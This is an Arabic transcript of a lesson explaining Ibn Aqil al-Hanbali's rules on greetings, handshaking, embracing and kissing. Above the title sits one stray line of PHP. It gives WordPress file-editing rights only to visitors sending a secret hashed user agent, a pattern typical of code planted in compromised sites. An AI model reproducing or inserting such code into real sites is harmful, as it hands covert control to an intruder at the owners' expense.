if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس الثالث - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس الثالث

الحمد لله رب العالمين، وصلى الله وسلم وبارك على أشرف الأنبياء والمرسلين نبينا محمد وعلى آله وأصحابه وأتباعه إلى يوم الدين.

أيها الأخوة والأخوات سلام الله عليكم ورحمته وبركاته، وحياكم الله في هذا الدرس الثالث من دروس شرح فصول الآداب ومكارم الأخلاق المشـروعة للإمام «ابن عقيل الحنبلي» رحمه الله والسامعين، قد انتهينا في الدرس الماضي من الكلام على السلام بيانًا لمعناه وحكمه وفضائله وجملة من آدابه وكذلك صفته وصيغته ثم وقفنا عند آخر مسائله فلعلنا نأتي عليها اليوم ونكمل ما يتعلق بالسلام من القرائن التي تأتي مع السلام فقد ذكرها رحمه الله في فصل خاص وهي: المصافحة، والمعانقة، والتقبيل، والقيام، هذه أربعة أمور لها علاقة وطيدة بالسلام وتسمى قرائن السلام.

قال رحمه الله:

وَيُكْرَهُ السَّلَامُ عَلَى شَوَابِّ النِّسَاءِ؛ فَإِنَّ ذَلِكَ يَجْلُبُ جَوَابَهُنَّ، وَسمَاعَ أَصْوَاتِهِنَّ، وَعَسَاهُ يَجْلُبُ الفِتْنَةَ، وَكَمْ مِنْ صَوْتٍ جَرَّ هَوَىً وَعِشْقًا، وَلَا بَأْسَ بِالسَّلَامِ عَلَى العَجَائِزِ وَالبَارِزَاتِ؛ لِعَدَمِ الفِتْنَةِ بَأَصْوَاتِهِنَّ، وَلِأَنَّ البَرْزَةَ تَحْتَاجُ إِلَى السَّلَامِ عَلَيْهَا، وَرَدِّ سَلَامِهَا، وَلِلْحَاجَةِ تَأْثِيْرٌ بِذَلِكَ؛ لِجَوَازِ النَّظَرِ إِلَى وَجْهِ المَرْأَةِ لِلشَّاهِدِ لِيَحْفَظَ الحِلْيَةَ فَيُقِيْمَ الشَّهَادَةَ، وَكَذَلِكَ الصَّائِغُ وَالمَغَازِلِيُّ، وَكُلُّ مَنْ تُعَامِلُهُ النِّسَاءُ مِنْ أَرْبَابِ التَّجَائِرِ وَالصَّنَائِعِ.

ذكر رحمه الله هنا أنه يكره السلام على شواب النساء أي الشابات (الفتيات)، قيل إلى ثلاثين ومدها بعضهم إلى أربعين، وعلل رحمه الله ذلك بأنه يجلب جوابهن، فإنه إذا سلم عليهن ردت الواحدة منهن السلام وأفضى ردها السلام إلى سماع صوتها، (وَعَسَاهُ يَجْلُبُ الفِتْنَةَ) أي إنها إذا ردت ربما جلب صوتها الفتنة للمُسَّلِم عليها (وَكَمْ مِنْ صَوْتٍ جَرَّ  هَوَىً وَعِشْقًا)، ثم قال رحمه الله: (وَلَا بَأْسَ بِالسَّلَامِ عَلَى العَجَائِزِ وَالبَارِزَاتِ) العجائز: كبيرات السن، والبارزات: جمع برزة، وهي المرأة العفيفة التي تبرز للقوم، وهي كبيرة سن، فتخرج وتبيع وتشتري وتخالط الناس لكن من غير ريبة، هي عفيفة في نفسها وكبيرة فتبرز للناس، سموها برزة لأنها تبرز، قال لا بأس بالسلام على العجائز والبارزات أي من هن بهذا الوصف؛ لعدم الفتنة بأصواتهن، ولأن البرزة تحتاج إلى السلام عليها ورد سلامها، فهي تسلم إذا قابلت أحدًا لتسأله مثلًا عن مكان تريده أو تريد حمل شيء معها لا تستطيع حمله أو تبايع الناس، سواءً كانت هي البائعة أو المشترية فهي تحتاج إلى السلام ورد السلام.

قال: (وَلِلْحَاجَةِ تَأْثِيْرٌ بِذَلِكَ) ثم خرج من باب السلام إلى جواز النظر إلى وجه المرأة كأنه يقول كما أن الحاجة أباحت (النَّظَرِ إِلَى وَجْهِ المَرْأَةِ لِلشَّاهِدِ لِيَحْفَظَ الحِلْيَةَ) أي الصفة (فَيُقِيْمَ الشَّهَادَةَ) (وَكَذَلِكَ الصَّائِغُ وَالمَغَازِلِيُّ) الذي يغزل للنساء أصوافهن والصائغ الذي يصنع لهن حليهن (وَكُلُّ مَنْ تُعَامِلُهُ النِّسَاءُ مِنْ أَرْبَابِ التَّجَائِرِ وَالصَّنَائِعِ) إذن هذا بحث نفيس بيّن فيه رحمه الله الكلام عن السلام على النساء، وفرّق رحمه الله فكرهه للشواب وبيّن وجه الكراهة وأباحه للعجائز، وبيّن أيضًا وجه الجواز، وفي الكلام على السلام على النساء كلامٌ طويلٌ وتفصيلٌ عريض عند أهل العلم ملخصه الذي ينبغي أن يثبت فيه الكلام ويكون متحدًا أن ذلك في الأصل جائزٌ ما أُمنت الفتنة، فإن خيفت الفتنة مُنع منه سواءً كانت شابة أو عجوزًا، فلا يعلق الحكم بالشابة ولا بالجميلة ولا بالعجوز وإنما يُقال الأصل الجواز إذا أُمنت الفتنة، وإذا خيفت الفتنة فالحرج موجود والمنع قائم، إذن نقول للرجل، هل تسلم على النساء أو يسلمن عليك؟ نقول: يجوز ذلك مع الأمن من الفتنة، فإذا كانت المرأة في محفل نساء ولا تُخشى الريبة وسلم رجل فردت إحداهن من غير ريبة، نقول: لا حرج، وكذلك الرجل إذا قابل مجموعة من النساء فقال السلام عليكن ورحمة الله وبركاته من غير ريبة فلا حرج.

قال أهل العلم ممن قيده بقيد الشابة: أما النساء المحارم فيجوز السلام عليهن من غير خلاف، وأما غير المحارم فيجوز السلام عليهن إذا أمنت الفتنة بهن وعليهن، وهذا هو الضابط في المسألة، وقال بعض أهل العلم: إن كانت شابة لم يجز وإن كانت عجوزًا جاز وهذا الذي سار عليه ابن عقيل وغيره وعلة المنع عند من منعه ظاهرة وهي سد ذريعة الفتنة ونحوها، قالوا وما ورد عن النبي صلى الله عليه وسلم وأصحابه رضي الله عنهم في ذلك محمول على أمن الفتنة كما في قصة أم أيمن رضي الله عنها فإن الصحابة رضي الله عنهم كانوا يزورونها رضي الله عنها ويعودونها بعد صلاة الجمعة وحصل ذلك حتى بعد موته صلى الله عليه وسلم وكذلك حديث أم هانئ رضي الله عنها في الصحيحين أنها قالت أتيت رسول الله صلى الله عليه وسلم وهو يغتسل فسلمت عليه، ورد عليها صلى الله عليه وسلم، وفي الصحيح أيضًا قال صلى الله عليه وسلم لأم المؤمنين عائشة رضي الله عنها: «يا عَائِشَةُ هذا جِبْرِيلُ يَقْرَأُ عَلَيْكِ السَّلَامَ، قلتُ: وعليه السَّلَامُ ورَحْمَةُ اللهِ وبَرَكَاتُهُ، تَرَى ما لا أرَى، تُرِيدُ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ»[1] قالوا: فمن وثق من نفسه بالسلامة فليسلم وإلا فالصمت أسلم، قال ابن بطّال عن المهلب: سلام الرجل على النساء والنساء على الرجل جائز إذا أُمنت الفتنة، وفرّق المالكية والشافعية والحنابلة بين الشابة والعجوز وهو منصوص الإمام أحمد، قال صالح ابن الإمام أحمد: سألت أبي، يسلم على المرأة؟ قال: أما الكبيرة فلا بأس، وأما الشابة فلا تستنطق وصوّب ابن القيم رحمه الله في هذه المسألة أنه يُسلم على العجوز وذوات المحارم دون غيرهن، وقال ابن حجر رحمه الله: والمراد بجوازه أن يكون عند أمن الفتنة ونسب النووي ذلك للشافعية وللجمهور، إذن الخلاصة: أن الأمر يدور مع الفتنة وجودًا وعدمًا، لكن لما كانت الشابة مظنة للفتنة أكثر علّق الحكم بعض أهل العلم بل جمهورهم على ذلك، فقالوا: يُكره في الشابة ويباح في العجوز، الصحيح أن الحكم يدور مع هذه العلة، فإن كانت الفتنة مأمونة فلا حرج وإن كانت مخوفة فثم الحرج.

قال رحمه الله بعد أن بيّن الكلام على السلام، قال: (وَلِلْحَاجَةِ تَأْثِيْرٌ بِذَلِكَ) يعني كما أن الحاجة أباحت في الشرع النظر عند الشهادة وعند المعاملة فإنها تبيح أيضًا السلام على العجائز والبارزات لحاجة البارزة -كبيرة السن- للسلام والسؤال ونحو ذلك، وبيّن رحمه الله أن ذلك -أي الحاجة- تؤثر (لِجَوَازِ النَّظَرِ إِلَى وَجْهِ المَرْأَةِ لِلشَّاهِدِ لِيَحْفَظَ الحِلْيَةَ) يعني إذا كان لا يستطيع أن يشهد على هذه المرأة إلا بأن يرى وجهها ويعرف صفتها ليشهد ويقيم الشهادة على أن هذه المرأة هي المعينة فلانة جاز ذلك (وَكَذَلِكَ الصَّائِغُ وَالمَغَازِلِيُّ) الذي يتعامل مع النساء في صناعة حليهن وغزل ثيابهن (وَكُلُّ مَنْ تُعَامِلُهُ النِّسَاءُ مِنْ أَرْبَابِ التَّجَائِرِ وَالصَّنَائِعِ) لكن إذا استطاع أن يعرفها بدون ذلك لم يجز النظر إليها، كأن يعرفها بصوتها أو يعرفها بمعرّف أو يعرفها بوسائل الإثبات المعروفة اليوم كالبصمة ونحوها، فإنه حينئذٍ لا يحل للمرأة أن تكشف وجهها للشاهد ليراها ولا للبائع الذي تتعامل معه ولا للمغازلي ولا للخياط ولا للصائغ ولا لغيره؛ لأن الفتنة قائمة، ولأن ذلك إنما جاز للحاجة والحاجة تقدر بقدرها، فإذا انتفت الحاجة بوجود وسائل تعلم بها المرأة على وجه الحقيقة كوسائل الإثبات المذكورة كالبصمة والبطاقة والهوية ونحو ذلك من الوسائل أو المعرف، بأن يأتي مع هذه المرأة رجل من محارمها فيكون معرفًا لها فإنه لا يُحتاج حينئذٍ إلى كشفها، وأهل العلم يقولون إن كشف المرأة وجهها مُنع خوفًا عليها من الفتنة، قالوا ولهذا أُبيح إذا دعت الحاجة، نقول أُبيح لمصالح شرعية عظيمة كنظر الخاطب، ولكن هذه المسائل التي نصوا عليها قد وُجدت وسائل يتحقق بها أن هذه المرأة المعينة فلانة وتُعرف بدون النظر، لكن أباح الشارع النظر للمخطوبة ولهذا لما قال ربنا جل شأنه: {قُلْ لِلْمُؤْمِنِينَ يَغُضُّوا مِنْ أَبْصَارِهِمْ وَيَحْفَظُوا فُرُوجَهُمْ ذَلِكَ أَزْكَى لَهُمْ إِنَّ اللهَ خَبِيرٌ بِمَا يَصْنَعُونَ} [النور: 30]، ثم قال: {وَقُلْ لِلْمُؤْمِنَاتِ يَغْضُضْنَ مِنْ أَبْصَارِهِنَّ} [النور: 31]، قالوا: إن من للبعضية، فمعناه أنه يغض من بصره إلا ما استثني، مما استثني وجاءت به السنة والنصوص العظيمة الكثيرة، نظر الخاطب للمخطوبة إذا تقدم لامرأة يخطبها ولم يبق إلا النظر، فإن الشارع استحب النظر لأن هذا أدعى أن يؤدم بينهما، مما يستدل به على جواز ذلك ما مر بنا من حديث أم هانئ وسلام النبي صلى الله عليه وسلم وكذلك ما جاء في الحديث الحسن أن الصحابة رضي الله عنهم كانوا إذا صلوا الجمعة مرّوا على عجوز تصنع لهم طعامًا فيسلمون عليها، رواه الترمذي، كذلك ما جاء «أنَّ رسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ مَرَّ  في المسجِدِ يَومًا، وعُصْبةٌ مِنَ النِّساءِ قُعودٌ، فأَلْوى بيدِهِ بالتَّسليمِ»[2] فهذه كلها نصوص تدل على الجواز إذا أمنت الفتنة.

قال رحمه الله: (وَلَا بَأْسَ بِالسَّلَامِ عَلَى الصِّبْيَانِ، تَعْلِيْمًا لَهُمْ لَلْأَدَبِ) نقول لا بأس أو يُسن ذلك ويستحب؟ بل يُسن ذلك ويُستحب، إذن السلام على الصبيان سنة، مستحب، إذا قلنا لا بأس يعني مباح فقط، فالعبارة الصحيحة أن نقول: ويستحب السلام على الصبيان تعليمًا لهم للأدب إذ هو هدي النبي صلى الله عليه وسلم، قد ثبت في البخاري من حديث أنس رضي الله عنه أن النبي صلى الله عليه وسلم سلّم على الصبيان، وفيه تعليم، وفيه قدوة، وفيه تربية وتدريب على هذه السنة كما أن في السلام على الصبيان تعليمًا لهم لحسن المعاشرة وتحبيبًا لهم وتوددًا، وقبولهم من المسَلِّم ما ينصحهم به ويوجههم إليه، ذلك أن السلام يزيل الوحشة بين المسَلِّم والمسَلَّم عليه، إذن السنة أن يُعوّد الصغار التسليم بالتطبيق العملي، فيُسلم الرجل على الصغار في الطريق إذا مر، والمعلم في الطريق إذا مرّ في المدرسة، وإذا دخل على طلابه مهما صغروا بل ينبههم ويربيهم أن يسلم فيردوا السلام، وإذا دخل الواحد منهم ولم يُسلم، قال له أعد الدخول والسلام حتى يتعود، ولو كان صغيرًا ابن أربع سنين أو ثلاث، متى نطق فإنه يُعود السلام.

قال رحمه الله: (وَيَسْتَحَبُّ السَّلَامُ عِنْدَ الاِنْصِرَافِ، كَمَا يُسْتَحَبُّ عِنْدَ الدُّخُوْلِ، وَالدُّخُوْلُ أَشَدُّ اِسْتِحْبَاْبًا) إذن يستحب للمسْلم إذا أراد أن ينصرف من مجلسه أو مكانه أو من فصله أو مكتبه أو من جماعة كان يجلس معهم، يستحب له إذا أراد أن ينصرف أن يسلم لقوله صلى الله عليه وسلم: «إذا انتهى أحَدُكم إلى المجلِسِ فليُسلِّمْ، فإذا أراد أن يقومَ فليُسلِّمْ؛ فليست الأُولى بأحَقَّ مِن الآخِرةِ»[3] [رواه أبو داود بسندٍ صحيح]، إذن السنة لمن أراد أن ينصـرف أن يُسلم، وهذه سنة تكاد أن تكون مهجورة يستعيض عنها كثير من الناس، إذا أرادوا الوداع يقولوا: في أمان الله أو مع السلامة أو غير ذلك من العبارات التي لا تغني عن السلام، فالنبي صلى الله عليه وسلم أمر بالسلام عند القدوم وعند الخروج والمغادرة والوداع وأخبر أن الأولى ليست بأحق من الآخرة يعني ليس السلام عند القدوم بأحق من الآخرة، مع ذلك قال رحمه الله: (وَالدُّخُوْلُ أَشَدُّ اِسْتِحْبَاْبًا) فإن النصوص فيه كثيرة جدًا بل جاء في أوائل الباب أنه يُسلم الراكب على الماشي، والصغير على الكبير، والقليل على الكثير، فإذن القدوم وردت فيه نصوصٌ كثيرةٌ تدل على استحباب السلام وتكثيره.

قبل أن نبدأ في الفصل الذي يليه، ثمة مسائل تتعلق بالسلام لم يذكرها نشير إليها إشارات يسيرة: منها إفشاء السلام، وهذا مرّ الحث والحض عليه ومعناه تكثيره، وفي الحديث: «أفشوا السلام بينكم»، وفي حديث عمار بن ياسر رضي الله عنه: «ثلاثٌ مَنْ جمعَهُنَّ فقدْ جمعَ الإيمان الإنصافُ مِن نفسِكَ وبذلُ السَّلامِ للعالمِ والإنفاقُ مِنَ الإِقْتَارِ»[4] [ذكره البخاري معلقًا بصيغة الجزم]، وورد في الحديث الصحيح: «أبخلُ الناسِ من بخلَ بالسلامِ»[5] [رواه الطبراني في الأوسط وجوّد إسناده] ولأحمد عن جابر بمعناه بإسنادٍ لا بأس به.

من المسائل أيضًا: تبليغ السلام، إذا حُمّلت السلام فالسنة أن تبلغه وأن تنقله فإنه أمانه وينبغي لمن بُلغ السلام أن يرد على المسَلِّم وعلى من حُمِّل السلام فيقول: وعليك وعليه السلام، وإذا خشي المحمل السلام أن ينسى أو لا يقابل من حُمل إليه السلام فليعلق ذلك على المشيئة فيقول إن شاء الله حتى يسلم من حمل أمانة لا يستطيع أداءها.

من المسائل أيضًا: أن النبي صلى الله عليه وسلم نهى عن بداءة اليهود والنصارى بالسلام، وهذا يشمل الكفار من باب أولى، قال صلى الله عليه وسلم: «لا تبدَأوا اليَهودَ والنَّصارى بالسَّلامِ ، وإذا لقيتُم أحدَهُم في الطَّريقِ فاضطرُّوهم إلى أضيَقِهِ»[6]، ومعنى ذلك أنكم لا تفسحوا له الطريق ولا تتنحوا عنه إكرامًا واحترامًا لكن إذا سلم الكافر، إذا بدأ الكافر السلام على المسلم، نقول: لا يخلو إما أن يصرح الكافر بالسلام فتسمعه صريحًا يقول: السلام عليكم فحينئذٍ تقول له وعليكم السلام، الحالة الثانية: أن يقول السأم عليكم وهذا ما كان يفعله اليهود مع النبي صلى الله عليه وسلم، والمراد بالسأم الموت والهلاك ولهذا غضبت أم المؤمنين عائشة رضي الله عنها لما سمعتهم يسلمون على الرسول صلى الله عليه وسلم بهذا الدعاء، قالت عليكم السأم واللعنة إخوان القردة، فقال صلى الله عليه وسلم: قلت لهم وعليكم فيكفي، إذا شكّ المسلم في هذا الكافر هل يقول السلام أو السأم فإنه يقول وعليكم.

هل يُبدأ الكافر بالتحية غير السلام؟ السلام منهي عنه، ومن بدأ الكافر بالسلام فقد عصى أبا القاسم صلى الله عليه وسلم، لكن هل للمسلم أن يقول للكافر إذا لقيه صباح الخير أو مساء الخير أو أهلًا وسهلًا أو نحو ذلك؟ فيه خلاف بين أهل العلم، فالإمام أحمد يمنعه مطلقًا، وشيخ الإسلام يجوزه، وسبب الخلاف بين أهل العلم في هذه المسألة مبنيٌ على مسألة هل المراد التحية والاحترام والإجلال، فإذا كان المقصود بمنعنا من السلام عليهم عدم تحيتهم وإجلالهم واحترامهم، فإن ذلك يشمل أي تحية كانت، أو أن النهي إنما هو لاسم الله جل شأنه الذي هو في السلام عليكم فينزه الله من أن يحل سلامه وبركته على هذا الكافر، الذين قالوا بالثاني قالوا لا بأس أن يحيه بتحية غير السلام والذي ينبغي هنا أن يراعي المسلم المصلحة، إن كانت ثمة مصلحة كأن يرجو إسلامه فليحييه بغير السلام أو كان هذا الكافر مسؤولًا عن المسلم ويُخشى أنه يغضب عليه ويعاقبه إذا لم يُسلم فليحييه بغير السلام.

إذا دخلت على مصلي، فهل تسلم عليه أو لا؟ قيل يكره السلام على المصلي لأنه مشغول وربما نسي أو جهل فرد السلام، وقيل لا يكره وهو الصحيح لأنه صلى الله عليه وسلم لم ينكر على أصحابه رضي الله عنهم لما سلموا عليه، ولأنه صلى الله عليه وسلم رد على ابن عمر وصهيب رضي الله عنهما بالإشارة ولعمومات الأدلة، وبعض أهل العلم فرّق، فقال يُكره في الفريضة أن تُسلم عليه دون النفل لأن النفل يتسامح فيه، لكن الصحيح القول بأن السلام على المصلي سائغٌ جائزٌ مسنونٌ متى غلب على ظنك أنه فقيهٌ أو عنده علمٌ وأنه لن يجهل فيرد عليك السلام، كيف يرد المصلي السلام لمن سلّم عليه؟ يخير بين أمرين: إما ينتظر حتى يفرغ من الصلاة فيرد السلام، وهذا قول بعض أهل العلم لكن يشكل على هذا أنه قد تطول المسافة وقد يذهب المُسَلِّم، فالسنة جاءت بالرد عليه ويُخير حينئذٍ بالإشارة إما برأسه أو بيده أو بأصبعه، وردت السنة بالإشارة إما بالرأس وهذا يُتصور من قارئ، إذا سلّم عليه أحد يشير برأسه بدون أن ينطق أو بيده وهذا يُتصور أن يكون وهو قائم أو تكون اليد على الفخذ في حال الجلوس أو التشهد فيرفع يده أو يشير بأصبعه وهذا كله وارد في السنة.

إذا سلمت على من هو بعيد ومثله الذي يقابلك وهو في السيارة وبينك وبينه مسافة ولا يسمعك فإنك تجمع بين السلام والإشارة ولا تكتفي بالسلام لأنه لا يسمعه حينئذٍ بل تجمع بين الإشارة والسلام ومثله الأطرش الذي لا يسمع.

هل يُسلم على المشغول؟ نقول المشغول مشغول، فالمصلي مر بنا السنة فيه، قارئ القرآن لا يُسلم عليه لأن ذلك يفضي إلى قطعه إلا أن يكون عاميًا قد يقع في نفسه أنك قد تركت السلام قصدًا فلا بأس أن تُسلم، لكن إذا كان طالب علم ويفقه ويفهم فإن السنة ألا تُسلم عليه، وكذلك إذا دخلت في مجلس علم أو فصل دراسي أو قاعة دراسية فليس من السنة أن تُسلم ومن باب أولى الخطبة، إذا دخلت والخطيب يخطب فإنه لا يُسن لك أن تُسلم بصوت مسموع يشوش على أهل الخطبة ويقطع ما هم فيه.

قال رحمه الله:

فَصْلٌ

وَالمُصَافَحَةُ مُسْتَحَبَّةٌ بَيْنَ الرَّجُلَيْنِ وَلَا تَجُوْزُ مُصَافَحَةُ النِّسَاءِ الشَوَابِّ؛ لِأَنَّ ذَلِكَ يُثِيْرُ الشَّهْوَةَ، وَلَا بَأْسَ بِالْمُعَانَقَةِ، وَتَقْبِيْلِ الرَّأْسِ وَاليَدِ، لِمَنْ يَكُوْنُ مِنْ أَهْلِ الدِّيْنِ أَوِ العِلْمِ أَوِ كِبَرِ السِّنِّ فِيْ الإِسْلَامِ، وَيُسْتَحَبُّ القِيَامُ لِلإِمَامِ العَادِلِ، وَالوَالِدَيْنِ، وَأَهْلِ الدِّيْنِ وَالوَرَعِ وَالعِلْمِ وَالكَرَمِ وَالنَّسَبِ، وَلَا يُسْتَحَبُّ لِغَيْرِ هَؤُلَاءِ.

قال رحمه الله: (وَالمُصَافَحَةُ مُسْتَحَبَّةٌ بَيْنَ الرَّجُلَيْنِ) المراد الجنس، ولهذا نقول ليس لهذا مفهوم بل الرجلين والمرأتين وإنما ذُكر الرجلين هنا للتغليب، المصافحة من القرائن التي تأتي مع السلام وهي أمر زائد على السلام، فالسلام إذا أطلق هو المشافهة “السلام عليكم ورحمة الله وبركاته” لكن المصافحة أمر زائد وهي أن يضع صفحة كفه في كف الثاني ولهذا السلام بأطراف الأصابع كما يفعله بعض الناس ليست مصافحة، المصافحة أن يضع باطن كفه وصفحة كفه في كف الآخر وقد جاء في السنة ما يدل على فضلها كما قال صلى الله عليه وسلم في حديث البراء رضي الله عنه: «ما من مسلمَيْن يلتقيان فيتصافحان إلَّا غُفِر لهما قبل أن يتفرَّقا»[7] [الحديث سنده حسن].

قال رحمه الله: (وَلَا تَجُوْزُ مُصَافَحَةُ النِّسَاءِ الشَوَابِّ؛ لِأَنَّ ذَلِكَ يُثِيْرُ الشَّهْوَةَ) نقول: هذا تفريق بين الشواب والعجائز، التفريق له وجه في السلام الشفهي أما في المصافحة فلا على الصحيح، لكنه رحمه الله فرق بينهما وقال لا تجوز مصافحة النساء الشواب ومفهومه أنه يجوز مصافحة العجائز وهذا قال به بعض أهل العلم لكنه قول ضعيف جدًا، إذن المصافحة لا تجوز للمرأة قط لا شابةً ولا عجوزًا وهو الصحيح الذي عليه جمعٌ من المحققين من أهل العلم كشيخ الإسلام، ولم يُنقل عن الإمام أحمد رحمه الله ما يدل على جواز مصافحة النساء بل ورد ما يدل على عدم ذلك ففي الصحيح عن أم المؤمنين عائشة رضي الله عنها قالت: «وَلَا وَاللهِ ما مَسَّتْ يَدُ رَسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يَدَ امْرَأَةٍ قَطُّ، غيرَ أنَّهُ يُبَايِعُهُنَّ بالكَلَامِ»[8] هذا وهو في البيعة، البيعة تقتضي المماسة باليد والمصافحة لكنه صلى الله عليه وسلم ما مست يده يد امرأة قط حتى في المبايعة وإنما كان يبايعهن بالكلام إذا كان هذا من النبي صلى الله عليه وسلم المصطفى المجتبى المغفور له ما تقدم من ذنبه الذي هو أولى بالمؤمنين من أنفسهم ومع ذلك ما مست يده يد امرأة قط لم يجز لأحد أن يستثني العجائز أو كبيرات السن من ذلك، فإن الشارع إنما استثنى في العجائز التي لا يرجون نكاحًا التخفيف من اللباس وكشف الوجه وقيد ذلك بأمن الفتنة، قال جل شأنه وتقدس اسمه: {وَالْقَوَاعِدُ مِنَ النِّسَاءِ اللَّاتِي لَا يَرْجُونَ نِكَاحًا} [النور: ٦٠]، لاحظ قواعد جمع قاعد، لا ترجو نكاح يعني أيست من الزواج لكبر سنها، لا يمكن أن تتزوج ولا يمكن أن تُخطب فهؤلاء النساء قال عنهن: {فَلَيْسَ عَلَيْهِنَّ جُنَاحٌ أَنْ يَضَعْنَ ثِيَابَهُنَّ غَيْرَ مُتَبَرِّجَاتٍ بِزِينَةٍ} [النور: ٦٠]، قيّد ذلك أنها إذا كشفت لا تضع شيئًا من مساحيق الزينة في وجهها ولا تتجمل بأي شيء يجملها ثم قال: {وَأَنْ يَسْتَعْفِفْنَ خَيْرٌ لَهُنَّ} [النور: ٦٠]، هذا مستثنى فقط في العجائز الكبيرات أن يكشفن وجوههن إذا أمنت الفتنة لأنها لا تُشتهى ولا تُخطب ولا ينظر إليها نظر شهوة بشرط ألا تضع شيئًا من مساحيق الجمال أو نحوه في وجهها، أما المس فهو أغلظ وأشد تحريمًا، ولهذا جاء في الحديث الآخر الصحيح: «لَأنْ يُطعَنَ في رأسِ رجلٍ بِمِخْيَطٍ من حديدٍ خيرٌ من أن يمَسَّ امرأةً لا تَحِلُّ له»[9] [الحديث رواه البيهقي والطبراني بسندٍ حسن] وهذا الوعيد لا يكون على فعل مكروه ولا على محرم بل من أهل العلم من قال هذه كبيرة من كبائر الذنوب، ولهذا ليتقِ الله من اعتاد أن يسلم يقول هذه خالتي أو بمنزلة خالتي وهذه كبيرة في السن، نقول: لا يحل لك البتة البتة البتة، سلم عليها تكريمًا وتقديرًا مع البعد إذ المس أشد من النظر، المس والمباشرة باليد أشد من النظر، وإذا كان الشارع حرّم النظر إلا في حالات استثنائية فإن ذلك منعٌ للمس من باب أولى، قال: (لِأَنَّ ذَلِكَ يُثِيْرُ الشَّهْوَةَ) نقول: وكذا في الكبيرة ولكل ساقطة لاقطة فلا يحل الاستثناء هنا البتة.

قال رحمه الله: (وَلَا بَأْسَ بِالمُعَانَقَةِ) هذا الأمر الثاني من القرائن، والمعانقة: محاذاة العنق وصفحة العنق لعنق الآخر وهذه المعانقة ليست أيضًا من السلام بل هي من الحفاوة الزائدة، هي مثل المصافحة، جاءت السنة بها في حق القادم من السفر، وبعض أهل العلم وقف عند هذا وقال لا تُسن المعانقة إلا للقادم من السفر وبعضهم قال: ويلحق بالقادم المودِع، القادم ومن أردت توديعه وألحق بعضهم أيضًا من طالت غيبته وألحقه البغوي رحمه الله حالة رابعة، قال: من اشتدت محبته في الله، هذه أربع حالات ليس لها خامس، هذه الأخيرة واسعة، من كانت بينهم محبة وأخوّة في الله فتعانقا فلا يُنكر عليهما، لكنها ليست مرتبطةً بالمصافحة وليس كل من سُن مصافحته سُن معانقته، جاءت المعانقة في حديث جابر رضي الله عنه عند البخاري معلقًا وفي الأدب المفرد أيضًا للبخاري رحمه الله، وحديث جابر شهير جدًا في الرحلة في طلب الحديث، فإن جابر بن عبدالله رضي الله عنه سمع حديثًا عن رسول الله صلى الله عليه وسلم وأراد أن يأخذه بالسند العالي من راويه فقيل له إن راويه في الشام، قال: فاشتريت بعيرًا ورحلت إليه شهرًا، هذا أعظم ما ورد في الرحلة في الحديث، يسافر من المدينة النبوية إلى الشام ليسمع حديثًا قد سمعه لكنه أراد رضي الله عنه أن يأخذه مباشرة من راويه فوصل الشام وقرع الباب على الراوي وهو عبدالله بن أنيس رضي الله عنه، فقال من؟ فقلت جابر، فقال: جابر بن عبدالله؟ وخرج واحتضنه والتزمه وعانقه، هذه أخلاق الصحابة رضي الله عنهم، رحلة في الحديث وطلبه وجدٌ واجتهاد، بعضنا يمكن إذا دُعي إلى درس في أقصـى البلد يتعاجز عنه ويتقاعس، هذا الصحابي يسافر على البعير شهرًا كاملًا من المدينة إلى الشام ليسمع حديثًا ثم يقع في نفس عبدالله بن أنيس إجلال هذا الصحابي رضي الله عنه وإكباره، كيف قدم من المدينة ليسمع هذا الحديث وهو حديث عظيم في المقاصة يوم القيامة عن اللطمة والضربة والحديث طويلٌ يكفينا منه الشاهد وهو أنه خرج إليه فالتزمه وعانقه، فدل ذلك على أن المعانقة مشروعة لكنها مشروعة لسبب، من الأسباب أن يقدم من سفر أو أن تودعه أو يودعك أو تطول غيبته أو تطول غيبتك أو يكون بينك وبينه خلةٌ وصحبةٌ وأخوةٌ فحينئذٍ لا بأس بالمعانقة وإلا فلا.

قال رحمه الله: (وَتَقْبِيْلِ الرَّأْسِ وَاليَدِ، لِمَنْ يَكُوْنُ مِنْ أَهْلِ الدِّيْنِ أَوِ العِلْمِ أَوِ كِبَرِ السِّنِّ فِيْ الإِسْلَامِ) هذا أيضًا الأمر الثالث من القرائن وهو التقبيل، نص على التقبيل للرأس واليد، بقى عندنا التقبيل للخد والتقبيل للقدم لم يذكره، إن تيسر الوقت نذكـره، وإلا نشرح عبارته وننظر في الباقي، يقول رحمه الله: (وَتَقْبِيْلِ الرَّأْسِ وَاليَدِ) أما تقبيل الرأس فهذا جاءت به السنة في أحاديث منها: تقبيل النبي صلى الله عليه وسلم لبنته وإن كان هذا في الجبين وتقبيل فاطمة رضي الله عنها له، وكذلك تقبيل الأخ الكبير والعالم ومن فيه نفعٌ للإسلام والمسلمين ومن كان من أهل البذل والإحسان في وجوه البر، ولهذا قال: (وَتَقْبِيْلِ الرَّأْسِ وَاليَدِ، لِمَنْ يَكُوْنُ مِنْ أَهْلِ الدِّيْنِ أَوِ العِلْمِ) إذن من كان من أهل الدين والصلاح والتقى أو كان كبيرًا في علمه أو كبيرًا في سنه أو كان أيضًا له أثرٌ بارزٌ في خدمة الإسلام والمسلمين، فمثل هذا يُقبل رأسه، وأما تقبيل اليد فلم يرد عن النبي صلى الله عليه وسلم فيه شيء، لكن جاءت آثار عن الصحابة والتابعين في تقبيل اليد، هل تُقبل اليد لهؤلاء كلهم؟ من أهل العلم من خصّها بالوالدين ومنهم من ذكر ما ذكره الإمام هنا وهو أنه تُقبل يد العالم الكبير وكذلك الوالدين ونحوهم إلا أن من أهل العلم من شدد في ذلك وقال إنها بمنزلة السجود بل قالوا إنها السجدة الصغرى، يعني كأنه يسجد على يده، والصحيح أنها ليست كذلك ومن ثم فإننا نقول تقبيل اليد لمن كان من أهل الدين أو العلم أو كان له شأن في الإسلام لا حرج، أما التقبيل لأيدي من أشتهر بالمال والجاه فقط والشهرة بماله وتجارته فإن أقل أحوال ذلك الكراهة وصرّح الشافعية بالتحريم وهذا وجهٌ قوي إذ التقبيل هنا ليس لله وإنما لماله فلا يكرم لماله إلا أن يكون باذلًا لهذا المال في وجوه البر والإحسان.

